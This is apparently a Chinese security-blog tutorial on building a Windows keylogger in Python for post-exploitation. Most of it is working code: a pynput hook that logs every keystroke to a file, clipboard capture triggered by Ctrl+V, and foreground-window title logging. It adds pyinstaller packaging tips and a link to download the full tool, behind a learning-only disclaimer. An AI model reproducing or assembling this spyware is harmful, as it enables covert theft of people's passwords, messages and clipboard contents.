工具开发|键盘记录工具原理及代码实现
作者: Beard林免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。0x01 对于键盘记录简述键盘记录一般用在后渗透中,以此方法寻求扩大战果。有些c2工具集成了这个功能,github上也有一些独立的工具,因为开发的语言不一样,大小也不一样,实用性也各不相同。0x02 拆分键盘记录键盘记录工具其实就是设置了一个钩子来获取按键的输入,流程如下:1.工具创建进程2.调用windo
作者: Beard林
免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。
0x01 对于键盘记录简述
键盘记录一般用在后渗透中,以此方法寻求扩大战果。有些c2工具集成了这个功能,github上也有一些独立的工具,因为开发的语言不一样,大小也不一样,实用性也各不相同。
0x02 拆分键盘记录
键盘记录工具其实就是设置了一个钩子来获取按键的输入,流程如下:
1.工具创建进程
2.调用windows API
3.利用API钩子获取按键输入
4.将获取数据保存
用python实现以上要求需要的模块如下:
pywin32
threading
pynput
ctypes
os
0x03 主要代码
按键获取代码:
from pynput import keyboard
def keyboard_on_release(self, key): # 键盘弹起时的操作
with open(self.path+'key_log.txt','a') as a:
a.write(str(key)+'\n')
with keyboard.Listener(on_release=self.keyboard_on_release) as KeyboardListener:#此处设置按下时触发的处理函数
KeyboardListener.join()
当使用粘贴键时获取剪切板数据:
import win32clipboard#该模块下载pywin32时附带了
if '\\x16'in str(key):#
win32clipboard.OpenClipboard()
data = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
a.write('[Ctrl+V]:{'+data+'}'+'\n')
获取当前窗口名:
from ctypes import *
window_name_value=['no']
def window_name():
user32 = windll.user32
kernel32 = windll.kernel32
hwnd = user32.GetForegroundWindow()#获取句柄
window_title = create_string_buffer(512)
user32.GetWindowTextA(hwnd, byref(window_title), 512) # 指定句柄获取窗口名
value = window_title.value
kernel32.CloseHandle(hwnd)
return value.decode('gbk')
if window_name_value[0] !='no':#第一次获取窗口名的时候,进入下面的代码
window_name_value[0]=window_name()
value=window_name()#获取当前的窗口名
with open('key_log.txt','a') as a:
if value != window_name_value[0]:#当前窗口名和window_name_value[0]的值不同时保存新的值
window_name_value[0] = value
a.write('[Window+name]:'+str(value)+'\n')#按照格式进行保存
0x04 问题总结
1.pip安装win32clipboard时找不到这个模块
答:该模块在python2中win32模块包含此包,python3则是py
win32包含
2.用pyinstaller打包后运行提示找不到win32clipboard,但是在pycharm中却可以运行
答:使用pycharm编写程序的话最好在添加pyinstaller模块,而不是使用环境下的pyinstaller。
具体代码会上传到给灼剑的团队github上,师傅们有兴趣的可以下载测试一下。
项目地址:https://github.com/Tsojan/Keyboard-record
0x05 了解更多安全知识
欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!
更多推荐
所有评论(0)